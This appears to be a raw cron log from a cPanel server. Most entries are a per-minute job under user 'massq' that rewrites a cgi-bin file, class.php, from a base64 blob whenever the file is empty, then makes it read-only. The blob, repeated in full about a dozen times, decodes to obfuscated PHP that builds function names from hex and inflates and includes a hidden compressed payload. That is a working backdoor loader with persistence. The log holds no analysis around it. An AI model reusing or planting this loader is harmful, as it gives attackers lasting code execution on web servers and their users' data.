Nov 13 18:37:01 server CROND[24237]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:38:01 server CROND[25113]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:39:01 server CROND[26013]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 18:39:01 server CROND[26014]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:40:01 server CROND[26875]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 18:40:01 server CROND[26876]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 18:40:01 server CROND[26877]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:40:01 server CROND[26878]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 18:41:01 server CROND[27875]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:42:01 server CROND[28795]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:42:01 server CROND[28796]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 18:43:01 server CROND[29682]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:44:01 server CROND[30526]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:45:01 server CROND[31522]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 18:45:01 server CROND[31523]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:45:01 server CROND[31524]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 18:46:01 server CROND[32575]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:47:01 server CROND[986]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:48:01 server CROND[1850]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:49:01 server CROND[2341]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:50:01 server CROND[3218]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 18:50:01 server CROND[3219]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 18:50:01 server CROND[3222]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 18:50:01 server CROND[3223]: (root) CMD (/usr/lib64/sa/sa1 1 1)
